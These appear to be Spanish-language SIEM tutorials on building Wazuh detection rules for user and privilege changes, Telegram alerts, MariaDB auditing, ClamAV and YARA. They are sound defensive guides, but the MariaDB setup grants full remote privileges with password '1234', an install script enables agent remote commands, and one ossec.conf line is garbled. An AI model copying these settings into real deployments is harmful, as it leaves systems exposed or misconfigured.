 Sep  5 11:27:26 xubuntu-VM useradd[205364]: new user: name=ejemplo, UID=1001, GID=1001, home=/home/ejemplo, shell=/bin/sh, from=/dev/pts/1 

 Introducimos el log generado en nuestro terminal en la herramienta Ruleset test de Wazuh manager para comprobar si es que existen reglas asociadas a este tipo de eventos. 

 

 

 En este caso observamos que tienen reglas asociadas a este tipo de eventos y la extracción de este tipo de datos que se pueden observar como el nombre de la acción  useradd y datos como el nombre del usuario creado así como los identificadores de usuario o grupo y la interfaz de línea de comandos que en este caso es /bin/sh. 

 Para probar los logs registramos 3 eventos con un nombre cualquiera. 

 useradd cuatro

usermod -aG cuatro

userdel cuatro 

 Revisamos los logs del archivo en /var/log/auth.log 

 Sep  6 09:55:29 xubuntu-VM useradd[220043]: new user: name=cuatro, UID=1001, GID=1001, home=/home/cuatro, shell=/bin/sh, from=/dev/pts/3

Sep  6 09:55:56 xubuntu-VM usermod[220054]: add 'cuatro' to shadow group 'sudo'

Sep  6 09:56:00 xubuntu-VM userdel[220061]: delete user 'cuatro' 

 Para lo cual se generan las alertas de usuario agregado y usuario eliminado por defecto en wazuh  manager. 

 En el caso del comando useradd tenemos: 

 

 En el caso del comando userdel tenemos: 

 

 Debido a que no se tiene una alerta para el evento de asignación de privilegios al usuario tenemos que crear la regla personalizada analizando el log generado en /var/log/auth.log y crear el decodificador para dicho evento específico. 

 Log: Sep  5 19:47:44 ubuntu usermod[19978]: add 'prueba' to shadow group 'sudo' 

 El decodificador queda de la siguiente manera: 

 

 Realizamos la prueba en Decoders Test para verificar que se reconocen los parámetros. 

 

 Observamos que se pueden extraer los datos de nombre de usuario y grupo al que fue asignado por lo cual se realizara la regla personalizada para este evento. 

 

 Una vez realizada esta regla probamos el log con Ruleset Test de Wazuh para ver si se genera de manera correcta. 

 

 Realizadas las pruebas utilizaremos la maquina virtual para proceder con la generación de alertas de niveles 8 y 10 respectivamente: Usuario creado: 

 

 Escala de privilegios: 

 

 Eliminación de usuario: 

 

 En el agente de Wazuh agregamos este bloque en el archivo de configuración para monitorizar el archivo sudoers. 

 

 Esto realizará un monitoreo en tiempo real del archivo para enviar una alerta de modificaciones. Con distintos escenarios podemos incrementar la cantidad de reglas a partir de diferentes eventos como mostraremos a continuación: 

 

 Las reglas se modificaron de la siguiente manera: 

 

 100060 Se realizo la regla para activarse en caso de que un usuario se añada ya sea al grupo sudo o al grupo admin que poseen privilegios de ejecución. 

 100061 Esta regla actúa de manera similar a la anterior sin embargo es de menor nivel por que indica que un usuario nuevo se añade a un grupo existente no necesariamente con privilegios. 

 100062 Se creó en base a la regla generada de integridad de archivos. Si se ejecuta un cambio en los directorios monitoreados en tiempo real y además es coincidente con “/etc/sudoers” esta alerta se activara con nivel crítico. 

 100063 Se creó en base a la regla 5903 cuando se elimina un usuario. Si se detecta la eliminación y además es coincidente con “root” se genera una alerta de nivel crítico.

Envío de alertas mediante bot de Telegram
En esta publicación, crearemos un bot de Telegram para recibir alertas de Wazuh directamente en un chat de Telegram usando el módulo de integraciones en Wazuh.  

 Como primer paso crearemos un bot de Telegram con la ayuda de BotFather. 

 

 Para crear el bot seguimos los siguientes comandos: Crear bot: /newbot 

 Nos pedira darle un nombre al bot: wazuhbot2050_bot 

 Nos dara un número nuevo de API para el bot, la respuesta que en este caso es: ClaveAPI2050Alfanumerica  

 La clave API es muy importante por que se incluirá a los scripts de Wazuh manager y se utiliza para obtener el chat ID. 

 Utilizaremos un script en Wazuh manager de la siguiente manera: 

 sudo nano /var/ossec/integrations/custom-telegram 

 #!/bin/sh

WPYTHON_BIN="framework/python/bin/python3"

SCRIPT_PATH_NAME="$0"

DIR_NAME="$(cd $(dirname ${SCRIPT_PATH_NAME}); pwd -P)"

SCRIPT_NAME="$(basename ${SCRIPT_PATH_NAME})"

case ${DIR_NAME} in

   */active-response/bin | */wodles*)

       if [ -z "${WAZUH_PATH}" ]; then

           WAZUH_PATH="$(cd ${DIR_NAME}/../..; pwd)"

       fi

       PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"

   ;;

   */bin)

       if [ -z "${WAZUH_PATH}" ]; then

           WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"

       fi

       PYTHON_SCRIPT="${WAZUH_PATH}/framework/scripts/${SCRIPT_NAME}.py"

   ;;

    */integrations)

       if [ -z "${WAZUH_PATH}" ]; then

           WAZUH_PATH="$(cd ${DIR_NAME}/..; pwd)"

       fi

       PYTHON_SCRIPT="${DIR_NAME}/${SCRIPT_NAME}.py"

   ;;

esac

${WAZUH_PATH}/${WPYTHON_BIN} ${PYTHON_SCRIPT} "$@" 

 Si deseamos que el registro de alertas se envíe a un grupo en específico debemos ingresar a telegram web desde el navegador y copiar el ID de grupo al script de python incluyendo el signo “-”. 

 

 Accediendo desde Telegram web se puede observar el numero ID de grupo que se genera, dato que necesitaremos posteriormente para reenviar las alertas al grupo ya que es mas conveniente en caso de tener un incidente de gran escala que varias personas se enteren, En el inicialmente se encuentra el bot y el numero de la persona que realiza la integración. 

 Configuramos el script de telegram con el dato extra del grupo para realizar la función del script. 

 #!/usr/bin/env python

import sys

import json

import requests

from requests.auth import HTTPBasicAuth

#CHAT_ID="xxxx"

CHAT_ID="-NumeroID"

# Read configuration parameters

alert_file = open(sys.argv[1])

hook_url = sys.argv[3]

# Read the alert file

alert_json = json.loads(alert_file.read())

alert_file.close()

# Extract data fields

alert_level = alert_json['rule']['level'] if 'level' in alert_json['rule'] else "N/A"

description = alert_json['rule']['description'] if 'description' in alert_json['rule'] else "N/A"

agent = alert_json['agent']['name'] if 'name' in alert_json['agent'] else "N/A"

username = alert_json['data']['dstuser'] if 'dstuser' in alert_json['data'] else "N/A"

source = alert_json['data']['scrip'] if 'scrip' in alert_json['data'] else "N/A"

# Generate request

msg_data = {}

msg_data['chat_id'] = CHAT_ID

msg_data['text'] = {}

msg_data['text']['description'] =  description

msg_data['text']['alert_level'] = str(alert_level)

msg_data['text']['agent'] =  agent

msg_data['text']['username'] =  username

msg_data['text']['source'] =  source

headers = {'content-type': 'application/json', 'Accept-Charset': 'UTF-8'}

# Send the request

requests.post(hook_url, headers=headers, data=json.dumps(msg_data))

sys.exit(0) 

 nano /var/ossec/integrations/custom-telegram.py 

 En los scripts iniciales el grupo que administraba las operaciones de las integraciones con wazuh era “ossec” sin embargo desde la version 4.4.5 el grupo que administra estos eventos es “wazuh” 

 chown root:wazuh /var/ossec/integrations/custom-telegram*

chmod 750 /var/ossec/integrations/custom-telegram* 

 Es importante mencionar que en este caso se trata de una integración externa personalizada ya que Telegram no se encuentra entre las pruebas de concepto y el nombre de referenciación debe comenzar con “custom-”.  Las configuraciones se realizan en el archivo ossec.conf. Se pueden utilizar los siguientes parámetros: 

 

 name : Nombre del script que realiza la integración. En el caso de una integración personalizada como la que se analiza en este artículo, el nombre debe comenzar con "personalizado-". 

 hook_url : URL proporcionada por la API del software para conectarse a la propia API. Su uso es opcional, ya que se puede incluir en el script. 

 api_key : Clave de la API que nos permite utilizarla. Su uso también es opcional por la misma razón que el uso de hook_url es opcional. 

 level : establece un filtro de nivel para que el script no reciba alertas por debajo de cierto nivel. 

 rule_id : establece un filtro para los identificadores de alerta. 

 group : Establece un filtro de grupo de alertas. 

 event_location : establece un filtro de fuente de alerta. 

 alert_format : Indica que el script recibe las alertas en formato JSON (recomendado). De forma predeterminada, el script recibirá las alertas en formato full_log. 

 

 La configuración que realizaremos en Wazuh manager se da de la siguiente manera: 

 nano /var/ossec/etc/ossec.conf 

     <integration> 

       <name>custom-telegram</nasystemctl restart wazuh-managerme>

       <level>7</level> <hook_url>https://api.telegram.org/botClaveAPI2050Alfanumerica/sendMessage</hook_url>

       <alert_format>json</alert_format>

   </integration>  

 Para que los cambios se apliquen realizamos un restart. 

 systemctl restart wazuh-manager 

 Es recomendable asignar el rol de administrador al bot creado, ya que sin realizar esta acción no podrá enviar mensajes, pues está restringido por defecto. 

 Una vez realizadas las configuraciones, el grupo creado en Telegram con el bot será el que reciba las alertas y podrá ser visualizado desde un rango establecido por el nivel en las vulnerabilidades como se muestra a continuación.

Análisis de logs en Bases de datos
Mariadb para análisis de logs. 

 Actualización de los repositorios del sistema. 

 sudo apt-get update 

 Actualización e instalación de MariaDB 

 sudo apt update

sudo apt install mariadb-server

sudo systemctl status mariadb 

 Una vez instalada Mariadb comprobamos con el estatus: 

 

 Como no se tiene una configuración predeterminada de usuario ni password la contraseña esta vacía y el usuario por defecto es root. Ingresamos a la base de datos: 

 mysql -u root -p 

 Creamos un usuario que pueda conectarse de manera remota a las bases de datos y le otorgamos los privilegios necesarios para acceder con los siguientes comandos. 

 CREATE USER 'remoto'@'%' IDENTIFIED BY '1234';

grant all privileges on *.* to 'remoto'@'%' with grant option; 

 Realizamos la creación del usuario saliendo de root e ingresando con usuario “remoto” de manera local. 

 MariaDB [(none)]>exit

mysql -u remoto -p

exit 

 Ingresamos de forma exitosa: 

 

 Habilitamos el acceso remoto de Mariadb, salimos del usuario creado e ingresamos al archivo de configuración desde el terminal y cambiamos el valor de bind address. 

 nano /etc/mysql/mariadb.conf.d/50-server.cnf 

 

 Cabe destacar que esta configuración solo es recomendable para entornos de prueba, en un entorno de producción tenemos que restringir lo mas posible que dirección o direcciones IP pueden conectarse. 

 Reiniciamos Mariadb para aplicar los cambios. 

 sudo systemctl restart mariadb 

 Tenemos la direccion ip del servidor “192.168.24.84” con la que realizaremos la prueba remota desde nuestro terminal. 

 mysql -h 192.168.24.84 -P 3306 -u remoto -p 

 

 Para que se registren los logs de MariaDB se deben realizar cambios en el archivo de configuración quitando el símbolo de comentario en las siguientes lineas. 

 nano /etc/mysql/mariadb.conf.d/50-server.cnf 

 

 Los logs se registran en el directorio /var/lib/mysql/server_audit.log. Luego debemos instalar el plugging de auditoria en el servidor mariadb. 

 mysql -u remoto -p 

 INSTALL SONAME 'server_audit';

show plugins;

SHOW GLOBAL VARIABLES LIKE "server_Audit%";

SET GLOBAL server_audit_events= 'CONNECT,QUERY_DML,TABLE';

SET GLOBAL server_audit_logging =ON;

SHOW GLOBAL VARIABLES LIKE "server_Audit%";

SET GLOBAL server_audit_excl_users = remoto;

SHOW GRANTS FOR 'remoto';

nano /etc/mysql/mariadb.conf.d/50-server.cnf

plugin_load=server_audit=server_audit.so

sudo systemctl restart mariadb 

 Instalación de rsyslog en nuestro servidor MariaDB. 

 sudo apt-get install -y rsyslog 

 Después debemos enviar los registros al servidor de Wazuh. En el archivo de configuración de rsyslog, deberá definir qué enviar al servidor de Wazuh, por UDP o TCP, la dirección IP del servidor de Wazuh y el puerto. 

 sudo nano /etc/rsyslog.conf 

 

 Para aplicar los cambios se debe reiniciar el servicio Rsyslog. 

 systemctl restart rsyslog 

 Se debe habilitar el complemento de auditoria 

 nano /etc/mysql/my.cnf 

 

 Reiniciamos para aplicar los cambios 

 systemctl restart mariadb 

 Para realizar una prueba usamos una contraseña incorrecta y correcta en repetidas ocasiones desde un terminal remoto: 

 mysql -h 192.168.24.84 -P 3306 -u remoto -p 

 Verificamos el archivo de auditoria. 

 cat /var/log/mysql/mariadb-audit.log | grep remoto 

 

 Por ultimo verificamos el archivo syslog para confirmar que la información este correlacionada. 

 

 En el servidor configuramos la conexión remota con esta acción Wazuh también obtendrá registros de nuestro servidor MariaDB, para eso, necesitamos editar el archivo de configuración. 

 sudo nano /var/ossec/etc/ossec.conf 

 <!-- Conexion por puerto 514 a mariadb -->

 <remote>

 <connection>syslog</connection>

 <port>514</port>

 <protocol>udp</protocol>

 <allowed-ips>192.168.24.0/24</allowed-ips>

 </remote> 

 systemctl restart wazuh-manager.service 

 Para el archivo de logs en Wazuh, en el agente. 

 <!-- Registro de logs mariadb --> 

<localfile>

 <log_format>syslog</log_format>

 <location>/var/log/mysql/mariadb-audit.log</location>

 </localfile> 

 nano /var/ossec/etc/rules/local_rules.xml 

 <!-- 

 REGLAS PERSONALIZADAS MARIADB 

-->

<group name="mariadb-syslog,">

 <!-- Acceso fallido -->

	<rule id="100002" level="4">

	 <if_sid>88100</if_sid>

	 <match>FAILED_CONNECT</match>

	 <description>Acceso fallido a base de datos mariadb.</description>

	</rule>

</group> 

 systemctl restart wazuh-manager 

 Con todas las configuraciones realizadas se pueden ver las alertas en el dashboard de Wazuh manager. 

 

 Elaboración de reglas en Wazuh manager para la auditoria de bases de datos. 

 El primer paso para las reglas personalizadas esta en el servidor de wazuh manager, ingresamos al archivo de configuración y añadimos el directorio de reglas personalizadas. 

 nano /var/ossec/etc/ossec.conf 

 Dentro del archivo de configuración en <ossec_config> y <ruleset> 

 <ruleset>

<!-- Código anterior ... -->

<!-- Directorio de reglas locales de wazuh -->

 <rule_dir>/var/ossec/etc/rules/local_rules.xml</rule_dir>

 </ruleset> 

 Decodificador para MariaDB 

 La creación de un decoder para Mariadb es necesaria para la interpretación de Wazuh manager para posteriormente crear alertas generadas por actividades realizadas dentro de las bases de datos. Los tipos de logs de mariadb generados por el plugin de auditoria son de la siguiente manera: 

 

 Para el caso de conexión fallida: 20240321 13:54:26,server2,remoto,192.168.24.68,45,0,FAILED_CONNECT,,,1045 

 Para eliminación de base de datos y tablas  20240317 16:10:02,server2,remoto,192.168.24.68,31,65,QUERY,mysql,'drop database dbprueba',0 20240316 19:26:25,server2,remoto,192.168.24.68,71,140,QUERY,uno,'drop table tablapru',0 

 

 Ejemplo de decodificador, en el archivo de decodificadores locales de Wazuh: 

 <decoder name="mariadb-syslog">

   <prematch>^(\d+ \d\d:\d\d:\d\d),</prematch>

   <regex offset="after_prematch">^\w+,(\w+),(\S+),\d+,\d+,(\w+),</regex>

   <order>dstuser,srcip,action</order>

</decoder> 

 El nombre del decodificador es muy importante ya que tiene que pertenecer al grupo de decodificadores por defecto de Wazuh para que no entre en conflicto con los decodificadores que interpreta Wazuh manager si es que estos están dentro de los programas monitoreados por defecto. Se realiza la prueba de este decodificador donde pre-match es la coincidencia de elementos al principio de cada log, y la parte de regex es la que nos importa para extraer los datos necesarios para nosotros, que se extraen en el apartado order. Para verificar su funcionamiento tenemos una herramienta llamada decoders test en Wazuh manager que nos indica si los datos que necesitamos se pudieron extraer de forma correcta. 

   

 Podemos observar los tipos de logs generados por el plugin de auditoria de mariadb enviados a Wazuh manager para que sea decodificado por nuestro decodificador y posteriormente reconoce los datos requeridos como el nombre del decodificador, usuarios e IP proveniente. 

 Para la siguiente fase debemos crear reglas personalizadas a partir de estos decodificadores. 

 Reglas personalizadas para MariaDB. 

 Debemos crear una regla personalizada para que este detecte cuando una base de datos ha sido borrada. En este caso la regla se activa cuando Wazuh manager encuentra la palabras drop database, ingresamos al archivo de configuración. nano /var/ossec/etc/rules/local_rules.xml 

 <!-- 

 REGLAS PERSONALIZADAS MARIADB 

-->

<group name="mariadb-syslog,">

 <!-- Acceso fallido -->

	<rule id="100002" level="4">

	 <if_sid>88100</if_sid>

	 <match>FAILED_CONNECT</match>

	 <description>Acceso fallido a base de datos mariadb.</description>

	</rule>

 <!-- Eliminación de tabla, base de datos, usuario -->

 <rule id="100003" level="4">

 <if_sid>88100</if_sid>

 <match>DROP TABLE</match>

 <description>Tabla eliminada en Mariadb.</description>

 </rule>	

	<rule id="100004" level="6">

 <if_sid>88100</if_sid>

 <match>DROP DATABASE</match>

 <description>Base de datos eliminada en Mariadb</description>

	</rule>

	<rule id="100005" level="8">

 <if_sid>88100</if_sid>

 <match>DROP USER</match>

 <description>Alerta inusual usuario eliminado en Mariadb</description>

	</rule>

 <!-- Creación de usuario o cambio de atributos -->

	<rule id="100006" level="3">

 <if_sid>88100</if_sid>

 <match>CREATE USER</match>

 <description>Usuario creado en Mariadb</description>

	</rule>

	<rule id="100007" level="8">

 <if_sid>88100</if_sid>

 <match>GRANT ALL PRIVILEGES</match>

 <description>Alerta inusual se han cambiado los atributos de un usuario en Mariadb</description>

	</rule>	

</group> 

 Para realizar la prueba ingresamos de forma remota  

 mysql -h 192.168.24.84 -P 3306 -u remoto -p 

 Se crea una base de datos de prueba y se elimina. 

 

 

 Posteriormente observamos la alerta en Wazuh manager. 

 

 Posteriormente podemos realizar una regla mas en caso de que se elimine una tabla dentro de una base de datos: 

 

 Revisando las alertas generadas en el dashboard de Wazuh manager podemos observar una alerta de nivel 7 con la ubicación del archivo de log para obtener mas información.

Integración con antivirus ClamAV
Wazuh detecta archivos maliciosos mediante la integración con ClamAV , el cual es un motor antimalware gratuito y de código abierto para detectar varios tipos de malware, incluidos virus y troyanos. 

 ClamAV es un conjunto de herramientas antimalware de código abierto diseñado para diversos casos de uso, como seguridad de terminales, escaneo web y tiene las siguientes características: 

 

 Ofrece protección en tiempo real para puntos finales de Linux. 

 Proporciona actualizaciones automáticas a la base de datos de malware. 

 Admite todos los formatos de archivos de correo estándar de forma predeterminada. 

 Admite varios formatos de archivo como ZIP y RAR. 

 Admite archivos de documentos comunes, como archivos de MS Office y Mac Office, HTML, RTF y PDF. 

 Está diseñado con un actualizador de bases de datos avanzado que puede aprovechar actualizaciones programadas o firmas digitales. 

 Utiliza un escáner de línea de comandos. 

 Tiene soporte integrado para ejecutables ELF y archivos ejecutables portátiles empaquetados con UPX, FSG, Petite, NsPack, wwpack32, MEW, Upack y ofuscados con SUE y otros. 

 

 Configuración. 

 Puede configurar ClamAV y recopilar sus registros desde puntos finales de Linux y Windows. Para recopilar registros de ClamAV de puntos finales de Linux, elimine la etiqueta de comentario  # antes de la declaración " LogSyslog true " en el archivo de configuración. Quitar el comentario a esta declaración reenvía los registros de ClamAV al archivo Syslog /var/log/syslog.  

 Para instalar el entorno de prueba tendremos que ejecutar los siguientes comandos. 

 sudo apt-get update

sudo apt-get install clamav-daemon

sudo chmod 644 /etc/clamav/clamd.conf

sudo chmod 644 /etc/clamav/freshclam.conf

sudo chown clamav:adm /etc/clamav/clamd.conf

sudo chown clamav:adm /etc/clamav/freshclam.conf 

 

 Instalación de Rsyslog. 

 sudo apt-get install rsyslog -y 

 Configuración daemon de Clamav. 

 Modificar los datos en el archivo de configuración. 

 sudo nano /etc/clamav/clamd.conf 

 LogSyslog true

#LogFile /var/log/clamav/clamav.log 

 sudo nano /etc/clamav/freshclam.conf 

 LogVerbose true

LogSyslog true 

 Modificar los siguientes apartados en clamd.conf que es el scanner mediante linea de comandos. 

 sudo nano /usr/local/etc/clamd.conf 

 # Comment or remove the line below.

# Example 

 sudo nano /usr/local/etc/freshclam.conf 

 # Comment or remove the line below.

# Example

UpdateLogFile /var/log/clamav/freshclam.log 

 systemctl restart clamav-daemon 

systemctl enable clamav-daemon 

systemctl restart wazuh-agent 

 sudo usermod -aG clamav $USER

sudo usermod -aG adm $USER

sudo chmod 666 /var/run/clamav/clamd.ctl 

 Comando de prueba para análisis y almacenamiento en syslog: 

 clamscan --stdout --no-summary -i -r /directorio/de/escaneo | logger -t "clamd[5286]" 

 Comando de prueba para respuesta en consola de archivos infectados: 

 clamscan --stdout --no-summary -i -r /home/rchavez/Descargas/Malware 

 Agente de Wazuh. 

 Si no se lee por defecto se debe añadir el apartado localfile que obliga a realizar el registro del directorio syslog para que Wazuh agent lo analice cada vez que se realice un escaneo de cualquier directorio. 

 nano /var/ossec/etc/ossec.conf 

   <localfile>

   <log_format>syslog</log_format>

   <location>/var/log/syslog</location>

 </localfile> 

 systemctl restart wazuh-agent 

 Una vez realizados los ajustes podemos observar diferentes tipos de alertas generadas. 

 Cuando se detiene el servicio de clamAV tenemos: 

 

 Cuando se detecta un archivo infectado tenemos: 

 

 Cuando se tiene un error inesperado o mala configuración tenemos: 

 

 Actualización automática de freshclam. 

 Configuración de cantidad de veces al día que se actualiza clamav-freshclam de forma automática modificando el archivo de configuración. Por defecto se establece en 24 pero dependiendo de la cantidad de recursos del equipo esta puede modificarse. 

 sudo nano /etc/clamav/freshclam.conf 

 #Para una actualización de 6 veces al dia.

Checks 6 

 sudo systemctl restart clamav-freshclam 

 Actualización manual de freshclam. 

 Configuración manual para actualizar clamav-freshclam realizando los siguientes siguientes comandos: 

 sudo systemctl stop clamav-freshclam.service

sudo freshclam

sudo systemctl restart clamav-freshclam.service 

 Programación regular análisis con clamscan. 

 Para realizar un análisis periódico y que los archivos analizados por clamscan y visualizados en wazuh se puede programar un crontab en terminales linux de la siguiente manera. 

 Accedemos como usuario con privilegios debido a que la detención de programas y posterior " restart " utilizan permisos root. 

 sudo su

crontab -e 

 Dentro de crontab utilizamos horarios en los que los equipos no tengan una utilización demandante. 

 10 12 * * * sudo systemctl stop clamav-freshclam.service

11 12 * * * sudo freshclam

15 12 * * * sudo systemctl restart clamav-freshclam.service

20 12 * * * /usr/local/bin/clamscan --stdout --no-summary -i -r /home/rchavez/Descargas/Malware 2>&1 | logger -t "clamd[5286] 

 Utilizamos la ruta completa de clamscan para que sea interpretado de manera correcta, obteniendo alerta de actualización con freshclam así como también de malware en caso de encontrarse una coincidencia positiva.

Integración complementaria de reglas YARA
Para realizar la integración del agente de Wazuh con Yara en los host terminales monitorizados se utilizarán las reglas de Wazuh manager de la prueba de concepto junto con un repositorio de Github de yara para realizar la integración complementaria. 

 Para la instalación de un agente de Wazuh integrado con Yara se propone un script que automatiza el proceso de instalación e integración de estas 2 herramientas en un terminal Linux. 

 

 #!/bin/bash

# 1. Revisión de la actualización de repositorios

# 2. El proceso se mostrara paso a paso para identificacion de posibles fallas

set -x

sudo apt install curl

sudo apt install git

# 2. Instalacion de claves GPG Wazuh

sudo curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | gpg --no-default-keyring --keyring gnupg-ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644 /usr/share/keyrings/wazuh.gpg

sleep 3

# 3. Añadiendo el repositorio de Wazuh

echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main" | tee -a /etc/apt/sources.list.d/wazuh.list

read -p 'Introduzca el nombre del agente (minúsculas en formato nombre.apellido): ' nombre

# 4. Descarga e inicialización del agente wazuh.deb

curl -so wazuh-agent_4.7.3-1_amd64.deb https://packages.wazuh.com/4.x/apt/pool/main/w/wazuh-agent/wazuh-agent_4.7.3-1_amd64.deb && sudo WAZUH_MANAGER="172.28.1.69" WAZUH_AGENT_GROUP="UGTD" WAZUH_AGENT_NAME="$nombre" dpkg -i ./wazuh-agent_4.7.3-1_amd64.deb

sleep 3

sudo systemctl daemon-reload

sudo systemctl enable wazuh-agent

sudo systemctl start wazuh-agent

sleep 3

# El proceso se mostrara paso a paso para identificacion de posibles fallas

set -x

# 5. Descarga YARA y sus dependencias 

sudo apt install -y make gcc autoconf libtool libssl-dev pkg-config jq

sudo curl -LO https://github.com/VirusTotal/yara/archive/v4.2.3.tar.gz

sudo tar -xvzf v4.2.3.tar.gz -C /usr/local/bin/ && rm -f v4.2.3.tar.gz

cd /usr/local/bin/yara-4.2.3/

sudo ./bootstrap.sh && sudo ./configure && sudo make && sudo make install && sudo make check

sleep 5

sudo echo "/usr/local/lib" >> /etc/ld.so.conf

sleep 3

ldconfig

# 6. Preparación de reglas Yara

sudo apt-get update

sudo mkdir -p /var/ossec/yara/rules

sudo chmod 771 /var/ossec/yara/rules

# 7. Clonar el repositorio de Git en /var/ossec/yara

git clone https://github.com/Yara-Rules/rules.git /var/ossec/yara/rules

sleep 1

# Archivo de reglas YARA de Vallhala

sudo curl 'https://valhalla.nextron-systems.com/api/v1/get' \

-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \

-H 'Accept-Language: en-US,en;q=0.5' \

--compressed \

-H 'Referer: https://valhalla.nextron-systems.com/' \

-H 'Content-Type: application/x-www-form-urlencoded' \

-H 'DNT: 1' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' \

--data 'demo=demo&apikey=1111111111111111111111111111111111111111111111111111111111111111&format=text' \

-o /var/ossec/yara/rules/yara_rules.yar

# 8. Ejecución del script para generar indices de reglas yara

cd /var/ossec/yara/rules/

/var/ossec/yara/rules/index_gen.sh

# 9. Eliminar el archivo de reglas YARA especificado

rm -rf /var/ossec/yara/rules/malware/MALW_AZORULT.yar

# Eliminar la línea exacta include "./malware/MALW_AZORULT.yar" del archivo index.yar que provoca conflicto con algunas versiones

sed -i '/include "\.\/malware\/MALW_AZORULT\.yar"/d' /var/ossec/yara/rules/index.yar

# 10. Configuracion interna del agente.

wazuh_agent="/var/ossec/etc/local_internal_options.conf"

lines_to_add=("logcollector.max_lines=3000" "wazuh_modules.max_eps=150" "logcollector.remote_commands=1" "wazuh_command.remote_commands=1")

# Agregar las líneas al final del archivo usando sed -i

for line in "${lines_to_add[@]}"; do

 echo "$line" >> "$wazuh_agent"

done

sleep 2

# 11. Deshabilitar repositorio de wazuh para evitar actualizaciones no programadas

sed -i "s/^deb/#deb/" /etc/apt/sources.list.d/wazuh.list

apt-get update

# 12. Verificar copia de script de integración yara

sudo cp yara.sh /var/ossec/active-response/bin/

sudo ls -lh /var/ossec/active-response/bin/ 

 El script de generación de indices para Yara complementa las reglas descritas en el repositorio de Github con las reglas Yara utilizadas para la prueba de concepto y se incluye en la descarga del repositorio en el paso 7 del script de instalación. 

 /*

Generated by Yara-Rules

On 19-04-2024

*/

include "./antidebug_antivm/antidebug_antivm.yar"

include "./capabilities/capabilities.yar"

include "./crypto/crypto_signatures.yar"

include "./cve_rules/CVE-2010-0805.yar"

include "./cve_rules/CVE-2010-0887.yar"

.

.

.

include "./yara_rules.yar" 

 Pasada la primera etapa se configura el archivo ossec.conf del agente en /var/ossec/etc/ossec.conf dentro del modulo de syscheck. 

 <syscheck>

...

<directories realtime=\"yes\">Directorio_Monitorizado</directories>

...

</syscheck> 

 Reinicio del agente 

 sudo systemctl restart wazuh-agent 

 Comprobación del estado del agente 

 sudo systemctl status wazuh-agent 

 Se sugiere la modificación del script de yara para que se dirija al nuevo archivo de reglas que resulta ser index.yar. 

 #!/bin/bash

# Wazuh - Yara active response

# Copyright (C) 2015-2022, Wazuh Inc.

# This program is free software; you can redistribute it

# and/or modify it under the terms of the GNU General Public

# License (version 2) as published by the FSF - Free Software

# Foundation.

#------------------------- Gather parameters -------------------------#

# Extra arguments

read INPUT_JSON

#YARA_PATH=$(echo $INPUT_JSON | jq -r .parameters.extra_args[1])

#YARA_RULES=$(echo $INPUT_JSON | jq -r .parameters.extra_args[3])

YARA_PATH="/usr/local/bin/yara-4.2.3"

YARA_RULES="/var/ossec/yara/rules/index.yar"

FILENAME=$(echo $INPUT_JSON | jq -r .parameters.alert.syscheck.path)

# Set LOG_FILE path

LOG_FILE="logs/active-responses.log"

size=0

actual_size=$(stat -c %s ${FILENAME})

while [ ${size} -ne ${actual_size} ]; do

 sleep 1

 size=${actual_size}

 actual_size=$(stat -c %s ${FILENAME})

done

#----------------------- Analyze parameters -----------------------#

if [[ ! $YARA_PATH ]] || [[ ! $YARA_RULES ]]

then

 echo "wazuh-yara: ERROR - Yara active response error. Yara path and rules parameters are mandatory." >> ${LOG_FILE}

 exit 1

fi

#------------------------- Main workflow --------------------------#

# Execute Yara scan on the specified filename

yara_output="$("${YARA_PATH}"/yara -w -r "$YARA_RULES" "$FILENAME")"

if [[ $yara_output != "" ]]

then

 # Iterate every detected rule and append it to the LOG_FILE

 while read -r line; do

 echo "wazuh-yara: INFO - Scan result: $line" >> ${LOG_FILE}

 done <<< "$yara_output"

fi

exit 0;

 

 En el script se modificaron los parámetros de YARA_PATH y YARA_RULES de acuerdo a la version de yara en path, y al nuevo archivo de reglas en YARA_RULES.

Webinar instalación y configuración de Wazuh manager
Durante el webinar se realizó la instalación del servidor de Wazuh en maquinas virtuales de Virtual-Box para realizar las distintas pruebas de concepto definiendo los parámetros a configurar en cada una de ellas y realizando el ejemplo para los agentes en terminales Linux y Windows. 

 Las configuraciones de los terminales y el servidor, así como el desarrollo de las 2 sesiones del webinar se encuentran a disposición en el siguiente enlace: 

 

 https://intranet.agetic.gob.bo/nube/s/qske4wdHrgofA7k  

Monitoreo y Alertas de Seguridad en WordPress con Wazuh
ANÁLISIS DE REGISTROS WEB EN WORDPRESS 

 Los registros de acceso web en WordPress contienen información valiosa sobre las interacciones de los usuarios, acciones administrativas y posibles intentos de intrusión. El análisis detallado de estos logs permite identificar patrones de comportamiento legítimo, así como actividades, subidas de archivos no autorizados o explotación de vulnerabilidades en endpoints críticos. 

 Para ello desarrollamos una guía práctica utilizando Wazuh Manager como SIEM, para la creación de reglas personalizadas de detección, basadas en eventos locales y ataques previamente identificados en el entorno. Estas reglas permitirán: 

 

 Detección de intentos de intrusión (fuerza bruta, subidas de archivos maliciosos, comportamiento anómalo). 

 Monitoreo de accesos sospechosos a terminales desde el panel de administración (wp-admin). 

 Generación de alertas tempranas ante comportamientos anómalos (Solicitudes AJAX múltiples desde la misma IP, modificaciones no autorizadas en la biblioteca de medios). 

 

 A partir de casos reales, se almacenaron distintos tipos de peticiones analizadas múltiples servidores, se establecerán criterios para identificar amenazas. El objetivo final es fortalecer la seguridad del sitio WordPress mediante un sistema de monitoreo proactivo, adaptado a necesidades específicas. 

 Puedes consultar la guía de instalación de Wazuh en el siguiente enlace:  Instalación de Wazuh Open Source Security – Base de Conocimiento CGII 

 Escaneo de Vulnerabilidades en WordPress Usando Wazuh 

 Configuración de WP-CLI 

 Para que Wazuh pueda interactuar con WordPress y realizar la comprobación de seguridad, es necesario instalar  WP-CLI en el servidor. Sigue estos pasos: Descargar e instalar WP-CLI: 

 curl -O <https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar>

php wp-cli.phar --info

chmod +x wp-cli.phar

sudo mv wp-cli.phar /usr/local/bin/wp 

 Creación de Políticas de Seguridad para WordPress 

